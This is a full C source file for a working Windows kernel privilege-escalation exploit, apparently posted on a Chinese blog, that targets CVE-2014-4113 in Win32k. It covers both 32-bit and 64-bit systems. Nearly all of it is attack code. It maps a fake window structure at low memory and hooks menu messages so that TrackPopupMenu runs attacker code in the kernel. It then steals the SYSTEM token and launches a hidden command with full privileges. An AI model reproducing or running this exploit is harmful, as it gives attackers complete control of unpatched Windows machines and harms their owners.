//
// Cve-2014-4113 'win32/win64 exp C code' reversed from 'exe exp'
// 2014-11-10
// Compiled pass on VS2010
//
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "user32.lib")
/
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef LPVOID PEPROCESS ;
typedef LONG (__stdcall *PZWQUERYSYSTENINFORMATION)(DWORD, PVOID, ULONG, PDWORD) ;
typedef LONG (__stdcall *PZWALLOCATEVIRTUALMEMORY) (HANDLE, PVOID, ULONG, PULONG,
ULONG, ULONG) ;
typedef LONG (__stdcall *PLOOKUPPROCESSBYID)(HANDLE, PEPROCESS *) ;
typedef LPVOID (__stdcall *PTICURRENT)() ;
PZWQUERYSYSTENINFORMATION fpQuerySysInfo = NULL ;
PZWALLOCATEVIRTUALMEMORY fpAllocateVirtualMem = NULL ;
PLOOKUPPROCESSBYID fpLookupProcessById = NULL ;
DWORD dwTokenOffset = 0 ;
DWORD gFlag1 = 0 ;
DWORD gFlag2 = 0 ;
DWORD gFlag3 = 0 ;
WNDPROC lpPrevWndFunc = NULL ;
DWORD dwCurProcessId = 0 ;
DWORD dwSystemProcessId = 0 ;
//
void PrintMsg(const char *formatString, ...)
{
va_list va ;
va_start(va, formatString) ;
vprintf(formatString, va) ;
ExitProcess(0);
}
#ifdef _WIN64
DWORD InitTokenOffset()
{
DWORD result;
OSVERSIONINFO VerInfo;
VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
if (!GetVersionExA(&VerInfo))
{
printf("FAIL : GetVersion\n") ;
ExitProcess(0) ;
}
result = 1;
if (VerInfo.dwMajorVersion == 5)
{
dwTokenOffset = 0x160 ;
gFlag2 = 1 ;
}
else if (VerInfo.dwMajorVersion == 6)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x168 ;
break ;
}
default:
{
dwTokenOffset = 0x208 ;
}
}
}
else
{
result = 0 ;
}
if(result == 0)
{
printf("FAIL : InitTokenOffset\n") ;
ExitProcess(0) ;
}
return result;
}
#else
DWORD InitTokenOffset()
{
DWORD result;
OSVERSIONINFO VerInfo;
VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
if (!GetVersionExA(&VerInfo))
{
printf("FAIL : GetVersion\n") ;
ExitProcess(0) ;
}
result = 1;
if (VerInfo.dwMajorVersion == 5)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x12C ;
break ;
}
case 1:
{
dwTokenOffset = 0x0C8 ;
break ;
}
case 2:
{
dwTokenOffset = 0x0D8 ;
break ;
}
default:
{
dwTokenOffset = 0x0C8 ;
}
}
}
else if (VerInfo.dwMajorVersion == 6)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x0E0 ;
break ;
}
case 1:
{
dwTokenOffset = 0x0F8 ;
break ;
}
default:
{
result = 0 ;
}
}
}
else
{
result = 0 ;
}
if(result == 0)
{
printf("FAIL : InitTokenOffset\n") ;
ExitProcess(0) ;
}
return result;
}
#endif
HMODULE GetKrnlNtBase(char *szNtName)
{
char Buffer[0xA] ;
DWORD dwRetLength ;
DWORD SystemModuleInfo = 0x0B ;
if(0xC0000004 != fpQuerySysInfo(SystemModuleInfo, Buffer, 0x0A, &dwRetLength))
{
printf("FAILED \n") ;
ExitProcess(0) ;
}
PSYSTEM_MODULE_INFORMATION pBuf = (PSYSTEM_MODULE_INFORMATION)LocalAlloc(LMEM_ZEROINIT,
dwRetLength) ;
if(0 != fpQuerySysInfo(SystemModuleInfo, pBuf, dwRetLength, &dwRetLength))
{
printf("FAILED \n") ;
ExitProcess(0) ;
}
PSYSTEM_MODULE_INFORMATION_ENTRY pModEntry = pBuf->Module ;
HMODULE hModuleBase = NULL ;
for(ULONG i = 0 ; i < pBuf->Count ; i++ )
{
//ASCII "\SystemRoot\system32\ntkrnlpa.exe"
if(strstr(pModEntry->ImageName, "nt") && strstr(pModEntry->ImageName, "exe"))
{
strcpy_s(szNtName, MAX_PATH, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength)) ;
///strncpy(szNtName, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength), MAX_PATH) ;
hModuleBase = (HMODULE)(pModEntry->Base) ;
break ;
}
pModEntry++ ;
}
if(hModuleBase == NULL)
{
printf("FAIL : Get Ntoskrnl Base\n") ;
ExitProcess(0) ;
}
LocalFree(pBuf);
return hModuleBase;
}
DWORD InitExpVars()
{
HMODULE hNtdll ;
hNtdll = LoadLibraryA("ntdll.dll");
if(hNtdll == NULL)
{
printf("FAIL : hNtdll == NULL \n") ;
ExitProcess(0) ;
}
fpQuerySysInfo = (PZWQUERYSYSTENINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
fpAllocateVirtualMem = (PZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
if(!fpQuerySysInfo || !fpAllocateVirtualMem)
{
printf("FAIL : GetProcAddress ZwQuerySystemInformation or ZwAllocateVirtualMemory\n") ;
ExitProcess(0) ;
}
char NtKernelName[MAX_PATH] ;
HMODULE hKrnlNtBase = GetKrnlNtBase(NtKernelName);
HMODULE hUserNtBase = LoadLibraryA(NtKernelName);
fpLookupProcessById = (PLOOKUPPROCESSBYID)((ULONG_PTR)GetProcAddress(hUserNtBase, \
"PsLookupProcessByProcessId") - \
(ULONG_PTR)hUserNtBase + \
(ULONG_PTR)hKrnlNtBase ) ;
dwCurProcessId = GetCurrentProcessId() ;
dwSystemProcessId = 4 ;
FreeLibrary(hUserNtBase);
return 1;
}
LPVOID CallPtiCurrent()
{
LPVOID result = NULL ;
HMODULE hUser32 = NULL ;
PVOID dstFunc ;
hUser32 = LoadLibraryA("user32.dll");
if(hUser32)
{
dstFunc = (PVOID)GetProcAddress(hUser32, "AnimateWindow");
if(gFlag2) // gFlag2 always zero in win32 exp
{
dstFunc = (PVOID)GetProcAddress(hUser32, "CreateSystemThreads");
}
if(dstFunc && *(WORD *)hUser32 == 0x5A4D )
{
IMAGE_NT_HEADERS *pPEHead = (IMAGE_NT_HEADERS *)((ULONG_PTR)hUser32 + \
*(DWORD*)((ULONG_PTR)hUser32+0x3C)) ;
#ifdef _WIN64
ULONG_PTR ImageBase = pPEHead->OptionalHeader.ImageBase;
ULONG_PTR ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#else
DWORD ImageBase = pPEHead->OptionalHeader.ImageBase;
DWORD ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#endif
PBYTE p = (PBYTE)dstFunc ;
// search function 'PtiCurrent' address in code segment
for(DWORD i = 0 ; i < 70 ; i++)
{
if((*p == 0xE8 && gFlag2 == 0) || (*p == 0xE9 && gFlag2))
{
if(p < (PBYTE)ImageBase || p > (PBYTE)ImageBound) break ;
PTICURRENT fpPtiCurrent ;
// jmp offset is 4 bytes and can be negative
fpPtiCurrent = (PTICURRENT)(*(INT *)(p+1) + (LONG_PTR)p + 5) ;
result = fpPtiCurrent() ; // result -> tagTHREADINFO
break ;
}
p++ ;
}
}
FreeLibrary(hUser32);
}
return result ;
}
// This is our fake 'WndProc' used to exploit
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PEPROCESS pCur, pSys ;
fpLookupProcessById((HANDLE)dwCurProcessId, &pCur);
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return 0 ;
}
DWORD InitExploitMem(LPVOID *pAllocAddr)
{
LPVOID pThreadInfo = CallPtiCurrent() ;
#ifdef _WIN64
*(DWORD*)pAllocAddr = 0xFFFFFFFB ;
#else
*(DWORD*)pAllocAddr = 1 ;
#endif
ULONG uRegionSize = 0x2000 ;
LONG iret = fpAllocateVirtualMem( GetCurrentProcess(),
pAllocAddr, 0, &uRegionSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE ) ;
if(iret)
{
printf("Allocate Mem Failed \n") ;
ExitProcess(0) ;
}
// fill fake tagWND struct
#ifdef _WIN64
*(PVOID *)(0x10000000B) = pThreadInfo ;
*(BYTE *) (0x100000025) = 4 ; // 0x100000025-0xFFFFFFFB=0x2A, bServerSideWindowProc
*(PVOID *)(0x10000008B) = (PVOID)ShellCode ; // 0x10000008B-0xFFFFFFFB=0x90, lpfnWndProc
#else
*(PVOID*)(0x3) = pThreadInfo ; // 3-(-5) = 8
*(BYTE*) (0x11) = (BYTE)4 ; // 17-(-5) = 0x16, bServerSideWindowProc
*(PVOID*)(0x5B) = (PVOID)ShellCode ; // 0x5B-(-5) = 0x60, lpfnWndProc
#endif
return 1;
}
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg == WM_ENTERIDLE) // 0x121
{
if (gFlag1 != 1)
{
gFlag1 = 1;
PostMessageA(hWnd, WM_KEYDOWN, 0x28, 0) ;
PostMessageA(hWnd, WM_KEYDOWN, 0x27, 0) ;
PostMessageA(hWnd, WM_LBUTTONDOWN, 0x00, 0) ;
}
}
return DefWindowProcA(hWnd, uMsg, wParam, lParam) ;
}
HMENU InitPopupMenu()
{
MENUITEMINFO Item1, Item2 ;
HMENU hMenu1, hMenu2 ;
memset(&Item1, 0, sizeof(Item1));
memset(&Item2, 0, sizeof(Item2));
hMenu1 = CreatePopupMenu();
if(hMenu1 == NULL) return 0 ;
Item1.cbSize = sizeof(Item1) ;
Item1.fMask = MIIM_STRING ; // Retrieves or sets the dwTypeData member.
if(FALSE == InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
{
DestroyMenu(hMenu1) ;
return NULL ;
}
hMenu2 = CreatePopupMenu() ;
if(hMenu2 == NULL) return NULL ;
static char szMenuText[2] = " " ;
Item2.fMask = MIIM_STRING | MIIM_SUBMENU ;
Item2.dwTypeData = szMenuText ;
Item2.cch = 1 ; // length of szMenuText
Item2.hSubMenu = hMenu1 ;
Item2.cbSize = sizeof(Item2) ;
if(FALSE == InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
{
printf("InsertMenuItem FAIL [%d] !\n", GetLastError()) ;
DestroyMenu(hMenu1) ;
DestroyMenu(hMenu2) ;
return NULL ;
}
return hMenu2 ;
}
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg != 0x1EB)
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
}
EndMenu() ;
return (DWORD)(-5) ; // DWORD
}
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *pWndProcArgs = (CWPSTRUCT*)lParam ;
if(pWndProcArgs->message == 0x1EB) // MN_FINDMENUWINDOWFROMPODWORD
{
if(!gFlag3)
{
gFlag3 = 1 ;
if(UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
{
#ifdef _WIN64
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA( pWndProcArgs->hwnd,
GWLP_WNDPROC,
(LONG_PTR)NewWndProc ) ; // LONG_PTR
#else
lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)NewWndProc ) ; // LONG
#endif
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
WNDCLASS wc ;
SYSTEM_INFO SystemInfo ;
HWND hWnd ;
DWORD result = 0 ;
LPVOID pAllocAddr ;
memset(&SystemInfo, 0, sizeof(SystemInfo));
memset(&wc, 0, sizeof(wc));
wc.lpfnWndProc = MyWndProc ;
wc.lpszClassName = "woqunimalegebi" ;
GetNativeSystemInfo(&SystemInfo);
#ifdef _WIN64
if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_INTEL)
{
printf("System Is Not Win64\n") ;
ExitProcess(0) ;
}
#else
if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64)
{
printf("System Is Not Win32\n") ;
ExitProcess(0) ;
}
#endif
RegisterClassA(&wc) ;
hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
if(hWnd == NULL) return 0 ;
InitExploitMem(&pAllocAddr) ;
HMENU hMenu2 = InitPopupMenu();
if(hMenu2)
{
DWORD dwThreadId = GetCurrentThreadId();
if(SetWindowsHookExA(WH_CALLWNDPROC, WndProcHook, 0, dwThreadId))
{
// trigger
#ifdef _WIN64
if(TrackPopupMenu(hMenu2, 0, 0xFFFFD8F0, 0xFFFFD8F0, 0, hWnd, 0))
#else
if(TrackPopupMenu(hMenu2, 0, -10000, -10000, 0, hWnd, 0))
#endif
{
PostMessageA(hWnd, 0, 0, 0);
result = 1;
}
}
}
DestroyWindow(hWnd) ;
if (hMenu2)
{
DestroyMenu(hMenu2);
}
UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook);
VirtualFree(pAllocAddr, 0, MEM_RELEASE);
return result;
}
DWORD main(DWORD argc, char *argv[])
{
InitTokenOffset() ;
InitExpVars() ;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0);
if(WaitForSingleObject(hThread, 300000))
{
TerminateThread(hThread, 0);
PrintMsg("FAIL [%d]\n", GetLastError()) ;
}
if(argv[1])
{
STARTUPINFO StartupInfo ;
PROCESS_INFORMATION ProcessInfo ;
memset(&StartupInfo, 0, sizeof(StartupInfo)) ;
memset(&ProcessInfo, 0, sizeof(ProcessInfo)) ;
StartupInfo.cb = sizeof(STARTUPINFO) ;
StartupInfo.wShowWindow = SW_HIDE ;
StartupInfo.dwFlags = STARTF_USESHOWWINDOW ;
CreateProcessA(0, argv[1], 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo) ;
WaitForSingleObject(ProcessInfo.hProcess, 60000) ;
CloseHandle(ProcessInfo.hProcess) ;
CloseHandle(ProcessInfo.hThread) ;
}
return 0 ;
}
4113_exp_code
最新推荐文章于 2022-11-08 12:28:49 发布